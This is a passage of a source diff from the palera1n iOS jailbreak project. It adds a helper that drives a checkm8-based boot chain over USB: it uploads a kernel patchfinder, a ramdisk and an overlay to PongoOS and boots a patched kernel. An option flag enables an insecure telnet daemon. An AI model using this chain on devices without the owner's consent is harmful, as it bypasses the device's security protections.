|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -384,6 +412,8 @@ int main(int argc, char* argv[], char* envp[]) {
|
||||
}
|
||||
#endif
|
||||
|
||||
shared_t state{};
|
||||
return exploit(&state);
|
||||
int stage;
|
||||
bool ret = exploit(&stage);
|
||||
LOG("Thank you for using palera1n!");
|
||||
return ret;
|
||||
}
|
||||
+9
-5
@@ -18,12 +18,12 @@ typedef uint64_t palerain_option_t;
|
||||
#define palerain_option_rootful (UINT64_C(1) << 0) /* rootful jailbreak */
|
||||
#define palerain_option_rootless (UINT64_C(1) << 1) /* rootless jailbreak */
|
||||
#define palerain_option_setup_rootful (UINT64_C(1) << 2) /* create fakefs */
|
||||
// (UINT64_C(1) << 3) /* Deprecated and removed */
|
||||
/* reserved */
|
||||
#define palerain_option_setup_partial_root (UINT64_C(1) << 4) /* fakefs creating should be partial */
|
||||
#define palerain_option_checkrain_is_clone (UINT64_C(1) << 5) /* supplied checkra1n is checkra1n clone */
|
||||
#define palerain_option_rootless_livefs (UINT64_C(1) << 6) /* mount root livefs on rootless */
|
||||
#define palerain_option_ssv (UINT64_C(1) << 7) /* has signed system volume */
|
||||
// (UINT64_C(1) << 8) /* reserved */
|
||||
#define palerain_option_ssv (UINT64_C(1) << 7) /* signed system volume */
|
||||
// #define palerain_option_force_fakefs (UINT64_C(1) << 8) /* force fakefs, even without SSV */
|
||||
#define palerain_option_clean_fakefs (UINT64_C(1) << 9) /* clean fakefs, but does not delete it */
|
||||
#define palerain_option_tui (UINT64_C(1) << 10) /* terminal user interface */
|
||||
#define palerain_option_gui (UINT64_C(1) << 11) /* graphical user interface*/
|
||||
@@ -45,11 +45,15 @@ typedef uint64_t palerain_option_t;
|
||||
// #define palerain_option_sf_ssh (UINT64_C(1) << 27) /* safe mode with bootstrap ssh */
|
||||
// #define palerain_option_sf_launchdaemons (UINT64_C(1) << 28) /* safe mode with launchdaemons */
|
||||
// #define palerain_option_emerg_mode (UINT64_C(1) << 29) /* emergency mode (early boot usb shell) */
|
||||
#define palerain_option_jbinit_log_to_file (UINT64_C(1) << 30) /* deprecated (kept for compatibility) */
|
||||
// #define palerain_option_jbinit_log_to_file (UINT64_C(1) << 30) /* deprecated (kept for compatibility) */
|
||||
#define palerain_option_cli (UINT64_C(1) << 31) /* CLI mode */
|
||||
#define palerain_option_telnetd (UINT64_C(1) << 32) /* Enable TELNET daemon */
|
||||
#define palerain_option_telnetd (UINT64_C(1) << 32) /* Enable TELNET daemon (insecure) */
|
||||
#define palerain_option_quick (UINT64_C(1) << 33) /* Quick mode */
|
||||
|
||||
#define palerain_option_jbinit_log_to_file (UINT64_C(1) << 50) /* make ramdisk log to file (jbinit2) */
|
||||
#define palerain_option_setup_rootful_forced (UINT64_C(1) << 51) /* create fakefs over an existing one (jbinit2) */
|
||||
|
||||
#define palerain_option_failure (UINT64_C(1) << 60) /* something went wrong */
|
||||
#define palerain_option_flower_chain (UINT64_C(1) << 61) /* Flower chain */
|
||||
#define palerain_option_test1 (UINT64_C(1) << 62) /* Developer test option 1 */
|
||||
#define palerain_option_test2 (UINT64_C(1) << 63) /* Developer test option 2 */
|
||||
|
||||
@@ -0,0 +1,278 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#include "pongo_helper.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <inttypes.h> // PRIx64
|
||||
|
||||
#if WITH_CIDERRAIN
|
||||
# include <ciderra1n/usb.h>
|
||||
# include <ciderra1n/log.h>
|
||||
# include <ciderra1n/pongo_compress.h>
|
||||
#else
|
||||
# include <openra1n/shim.h>
|
||||
# include <openra1n/utils.h>
|
||||
#endif
|
||||
|
||||
#include "globals.h"
|
||||
#include "paleinfo.h"
|
||||
|
||||
p1_transfer_ret_t issue_pongo_command(const p1_usb_handle_t *handle, const char *command)
|
||||
{
|
||||
p1_transfer_ret_t result;
|
||||
|
||||
uint32_t outpos = 0;
|
||||
uint32_t outlen = 0;
|
||||
uint8_t in_progress = 1;
|
||||
|
||||
char command_buf[512];
|
||||
char stdout_buf[0x2000];
|
||||
|
||||
memset(stdout_buf, 0, sizeof(stdout_buf));
|
||||
|
||||
if (command != NULL) {
|
||||
size_t len = strlen(command);
|
||||
|
||||
if (len > 510) {
|
||||
LOG_ERROR("Pongo command too long: %s", command);
|
||||
result.ret = 1;
|
||||
return result;
|
||||
}
|
||||
|
||||
LOG_DEBUG("Executing PongoOS command: '%s'", command);
|
||||
|
||||
snprintf(command_buf, sizeof(command_buf), "%s\n", command);
|
||||
len = strlen(command_buf);
|
||||
|
||||
#if WITH_CIDERRAIN
|
||||
result = usb_ctrl_transfer(handle, 0x21, 4, 1, 0, NULL, 0);
|
||||
if (result.ret != kUSBResponseSuccess) goto result;
|
||||
result = usb_ctrl_transfer(handle, 0x21, 3, 0, 0, (uint8_t *)command_buf, len);
|
||||
if (result.ret != kUSBResponseSuccess) goto result;
|
||||
#else
|
||||
result = send_interface_control_request(handle, 0x21, 4, 1, 0, NULL, 0);
|
||||
if (result.ret != USB_TRANSFER_OK) goto result;
|
||||
result = send_interface_control_request(handle, 0x21, 3, 0, 0, command_buf, len);
|
||||
if (result.ret != USB_TRANSFER_OK) goto result;
|
||||
#endif
|
||||
|
||||
// return early if the command is boot, we dont care about results
|
||||
if (strncmp(command,"boot",4) == 0) goto result;
|
||||
}
|
||||
|
||||
while (in_progress) {
|
||||
#if WITH_CIDERRAIN
|
||||
result = usb_ctrl_transfer(handle, 0xA1, 2, 0, 0, &in_progress, sizeof(in_progress));
|
||||
if (result.ret != kUSBResponseSuccess) goto result;
|
||||
#else
|
||||
result = send_interface_control_request(handle, 0xA1, 2, 0, 0, &in_progress, sizeof(in_progress));
|
||||
if (result.ret != USB_TRANSFER_OK) goto result;
|
||||
#endif
|
||||
|
||||
if (in_progress == 0) break;
|
||||
|
||||
if (outpos + 0x1000 >= sizeof(stdout_buf)) {
|
||||
memmove(stdout_buf, stdout_buf + 0x1000, sizeof(stdout_buf) - 0x1000);
|
||||
outpos -= 0x1000;
|
||||
}
|
||||
|
||||
#if WITH_CIDERRAIN
|
||||
result = usb_ctrl_transfer(handle, 0xA1, 1, 0, 0, stdout_buf + outpos, 0x1000);
|
||||
if (result.ret != kUSBResponseSuccess) goto result;
|
||||
#else
|
||||
result = send_interface_control_request(handle, 0xA1, 1, 0, 0, stdout_buf + outpos, 0x1000);
|
||||
if (result.ret != USB_TRANSFER_OK) goto result;
|
||||
#endif
|
||||
|
||||
outlen = 0x1000;
|
||||
outpos += outlen;
|
||||
}
|
||||
|
||||
result:
|
||||
return result;
|
||||
}
|
||||
|
||||
p1_transfer_ret_t upload_buffer_to_pongo(p1_usb_handle_t *handle, const void *data, size_t length)
|
||||
{
|
||||
p1_transfer_ret_t result;
|
||||
|
||||
if (data == NULL || length == 0) {
|
||||
LOG_ERROR("Invalid data buffer or length");
|
||||
result.ret = -1;
|
||||
goto result;
|
||||
}
|
||||
|
||||
LOG_DEBUG("Uploading %zu bytes to PongoOS...", length);
|
||||
|
||||
#if WITH_CIDERRAIN
|
||||
result = usb_ctrl_transfer(handle, 0x21, 1, 0, 0, (void *)&length, 4);
|
||||
if (result.ret != kUSBResponseSuccess) {
|
||||
LOG_ERROR("Failed to initiate PongoOS upload: %d", result.ret);
|
||||
goto result;
|
||||
}
|
||||
result = usb_bulk_upload(handle, (uint8_t *)data, (uint32_t)length);
|
||||
if (result.ret != kUSBResponseSuccess) {
|
||||
LOG_ERROR("Failed to upload data to PongoOS: %d", result.ret);
|
||||
goto result;
|
||||
}
|
||||
#else
|
||||
result = send_interface_control_request(handle, 0x21, 1, 0, 0, (void *)&length, 4);
|
||||
if (result.ret != USB_TRANSFER_OK || result.sz != 4) {
|
||||
LOG_ERROR("Failed to initiate PongoOS upload: %d", result.ret);
|
||||
goto result;
|
||||
}
|
||||
result = send_interface_bulk_transfer(handle, (void *)data, (uint32_t)length);
|
||||
if (result.ret != USB_TRANSFER_OK || result.sz != length) {
|
||||
LOG_ERROR("Failed to upload data to PongoOS: %d", result.ret);
|
||||
goto result;
|
||||
}
|
||||
#endif
|
||||
|
||||
result:
|
||||
return result;
|
||||
}
|
||||
|
||||
p1_checkm8_err_t send_compressed_pongo(p1_usb_handle_t *handle, const uint8_t *pongo_bin, const size_t pongo_bin_length)
|
||||
{
|
||||
uint8_t *pongo_lz4 = NULL;
|
||||
size_t pongo_lz4_length = 0;
|
||||
|
||||
if (!pongo_bin) {
|
||||
LOG_ERROR("pongoOS is not loaded?");
|
||||
return 15;
|
||||
}
|
||||
|
||||
// pongo has been moved to sram, due to space constraints
|
||||
// we need to make a self-decompressing payload before sending
|
||||
#if WITH_CIDERRAIN
|
||||
if (lz4_compress_pongo(pongo_bin, pongo_bin_length, &pongo_lz4, &pongo_lz4_length)) {
|
||||
#else
|
||||
if (!prepare_pongo(&pongo_lz4, &pongo_lz4_length, pongo_bin, pongo_bin_length)) {
|
||||
#endif
|
||||
// how on earth
|
||||
LOG_ERROR("Failed to compress pongo image?");
|
||||
free(pongo_lz4);
|
||||
return 15;
|
||||
}
|
||||
|
||||
p1_checkm8_err_t cr =
|
||||
#if WITH_CIDERRAIN
|
||||
ra1n_send_pongo(handle, pongo_lz4, pongo_lz4_length);
|
||||
#else
|
||||
checkm8_boot_pongo(handle, pongo_lz4, pongo_lz4_length);
|
||||
#endif
|
||||
|
||||
free(pongo_lz4);
|
||||
|
||||
return cr;
|
||||
}
|
||||
|
||||
p1_checkm8_err_t send_full_pongo_jailbreak(p1_usb_handle_t *handle)
|
||||
{
|
||||
p1_transfer_ret_t result;
|
||||
|
||||
char paleinfo[64];
|
||||
snprintf(paleinfo, sizeof(paleinfo), "palera1n_flags 0x%" PRIx64, palerain_flags);
|
||||
|
||||
char xargs_cmd[0x270];
|
||||
snprintf(xargs_cmd, sizeof(xargs_cmd), "xargs %s", boot_args);
|
||||
if (palerain_flags & palerain_option_setup_rootful) {
|
||||
strncat(xargs_cmd, " wdt=-1", sizeof(xargs_cmd) - strlen(xargs_cmd) - 1);
|
||||
}
|
||||
|
||||
result = issue_pongo_command(handle, "fuse lock");
|
||||
if (result.ret != 0) goto bad;
|
||||
|
||||
result = issue_pongo_command(handle, "sep auto");
|
||||
if (result.ret != 0) goto bad;
|
||||
|
||||
if (g_payload_kpf.data_len > 0) {
|
||||
result = upload_buffer_to_pongo(handle, g_payload_kpf.data, g_payload_kpf.data_len);
|
||||
if (result.ret != 0) goto bad;
|
||||
|
||||
// embedded artifacts are lzma compressed, mostly for binary size
|
||||
// this tells pongo to decompress after sending the KPF
|
||||
// overwritten artifacts should not be compressed, so we always
|
||||
// assume not compressed
|
||||
if (g_payload_kpf.uncompressed_data_len > 0) {
|
||||
char modload_cmd[64];
|
||||
snprintf(modload_cmd, sizeof(modload_cmd), "modload %zu", g_payload_kpf.uncompressed_data_len);
|
||||
result = issue_pongo_command(handle, modload_cmd);
|
||||
} else {
|
||||
result = issue_pongo_command(handle, "modload");
|
||||
}
|
||||
|
||||
if (result.ret != 0) goto bad;
|
||||
}
|
||||
|
||||
// palera1n specific flags
|
||||
result = issue_pongo_command(handle, paleinfo);
|
||||
if (result.ret != 0) goto bad;
|
||||
|
||||
// this wont run by default if builds dont have a ramdisk (WITH_RAMDISK=0)
|
||||
if (g_payload_ramdisk.data_len > 0) {
|
||||
result = upload_buffer_to_pongo(handle, g_payload_ramdisk.data, g_payload_ramdisk.data_len);
|
||||
if (result.ret != 0) goto bad;
|
||||
|
||||
// embedded artifacts are lzma compressed, mostly for binary size
|
||||
// this tells pongo to decompress after sending the ramdisk
|
||||
// overwritten artifacts should not be compressed, so we always
|
||||
// assume not compressed
|
||||
if (g_payload_ramdisk.uncompressed_data_len > 0) {
|
||||
char ramdisk_cmd[64];
|
||||
snprintf(ramdisk_cmd, sizeof(ramdisk_cmd), "ramdisk %zu", g_payload_ramdisk.uncompressed_data_len);
|
||||
result = issue_pongo_command(handle, ramdisk_cmd);
|
||||
} else {
|
||||
result = issue_pongo_command(handle, "ramdisk");
|
||||
}
|
||||
|
||||
if (result.ret != 0) goto bad;
|
||||
}
|
||||
|
||||
// this wont run by default if builds dont have a binpack (WITH_BINPACK=0)
|
||||
if (g_payload_overlay.data_len > 0) {
|
||||
result = upload_buffer_to_pongo(handle, g_payload_overlay.data, g_payload_overlay.data_len);
|
||||
if (result.ret != 0) goto bad;
|
||||
result = issue_pongo_command(handle, "overlay");
|
||||
if (result.ret != 0) goto bad;
|
||||
}
|
||||
|
||||
if (strlen(boot_args) > 0) {
|
||||
result = issue_pongo_command(handle, xargs_cmd);
|
||||
if (result.ret != 0) goto bad;
|
||||
}
|
||||
|
||||
result = issue_pongo_command(handle, "bootx");
|
||||
if (result.ret != 0) goto bad;
|
||||
|
||||
return 0;
|
||||
bad:
|
||||
return 255;
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef USB_PONGO_H
|
||||
#define USB_PONGO_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#if WITH_CIDERRAIN
|
||||
# include <ciderra1n/usb.h>
|
||||
# include <ciderra1n/ra1n.h>
|
||||
typedef client_t p1_usb_handle_t;
|
||||
typedef transfer_t p1_transfer_ret_t;
|
||||
typedef ra1n_client_err_t p1_checkm8_err_t;
|
||||
#else
|
||||
# include <openra1n/shim.h>
|
||||
# include <openra1n/checkm8.h>
|
||||
typedef usb_handle_t p1_usb_handle_t;
|
||||
typedef transfer_ret_t p1_transfer_ret_t;
|
||||
typedef checkm8_err_t p1_checkm8_err_t;
|
||||
#endif
|
||||
|
||||
#define PONGO_MAX_SZ (0x7fe00)
|
||||
#define MACHO_MAGIC_32 (const unsigned char[]){ 0xCE, 0xFA, 0xED, 0xFE }
|
||||
#define MACHO_MAGIC_64 (const unsigned char[]){ 0xCF, 0xFA, 0xED, 0xFE }
|
||||
#define CMD_LENGTH_MAX 512
|
||||
|
||||
p1_checkm8_err_t send_compressed_pongo(p1_usb_handle_t *handle, const uint8_t *pongo_bin, const size_t pongo_bin_length);
|
||||
p1_checkm8_err_t send_full_pongo_jailbreak(p1_usb_handle_t *handle);
|
||||
|
||||
#endif // USB_PONGO_H
|
||||
+31
-3
@@ -1,7 +1,34 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||
|
||||
#include <nlohmann/json.hpp>
|
||||
#include "gen/DFUHelperDeviceInfo.h"
|
||||
#include "gen/embedded/DFUHelperDeviceInfo.h"
|
||||
#include "sequence.hpp"
|
||||
|
||||
DfuSequence ParseSequence(const std::string& deviceKey)
|
||||
@@ -9,8 +36,9 @@ DfuSequence ParseSequence(const std::string& deviceKey)
|
||||
DfuSequence seq;
|
||||
|
||||
static nlohmann::json j = nlohmann::json::parse(
|
||||
DFUHelperDeviceInfo,
|
||||
DFUHelperDeviceInfo + DFUHelperDeviceInfo_len
|
||||
embedded_DFUHelperDeviceInfo_json,
|
||||
embedded_DFUHelperDeviceInfo_json +
|
||||
embedded_DFUHelperDeviceInfo_json_len
|
||||
);
|
||||
|
||||
auto itMap = j["devicemap"].find(deviceKey);
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||
|
||||
#ifndef SEQUENCE_H
|
||||
|
||||
+28
-2
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#include "Tui.hpp"
|
||||
@@ -21,9 +48,8 @@
|
||||
#include "TuiExploitPanel.hpp"
|
||||
#include "TuiBranding.hpp"
|
||||
#include "../globals.h"
|
||||
#include "../utils.h"
|
||||
#include "../paleinfo.h"
|
||||
#include "../event.hpp"
|
||||
#include "../events/event.hpp"
|
||||
|
||||
#define WIDTH 80
|
||||
#define HEIGHT 24
|
||||
|
||||
+28
-1
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#ifndef TUI_HPP
|
||||
@@ -7,7 +34,7 @@
|
||||
#include <mutex>
|
||||
#include <vector>
|
||||
|
||||
#include "../event.hpp"
|
||||
#include "../events/event.hpp"
|
||||
#include "TuiPanel.hpp"
|
||||
|
||||
class TuiPanel;
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#include "TuiBranding.hpp"
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#ifndef TUI_BRANDING_HPP
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#include "TuiDfuArt.hpp"
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
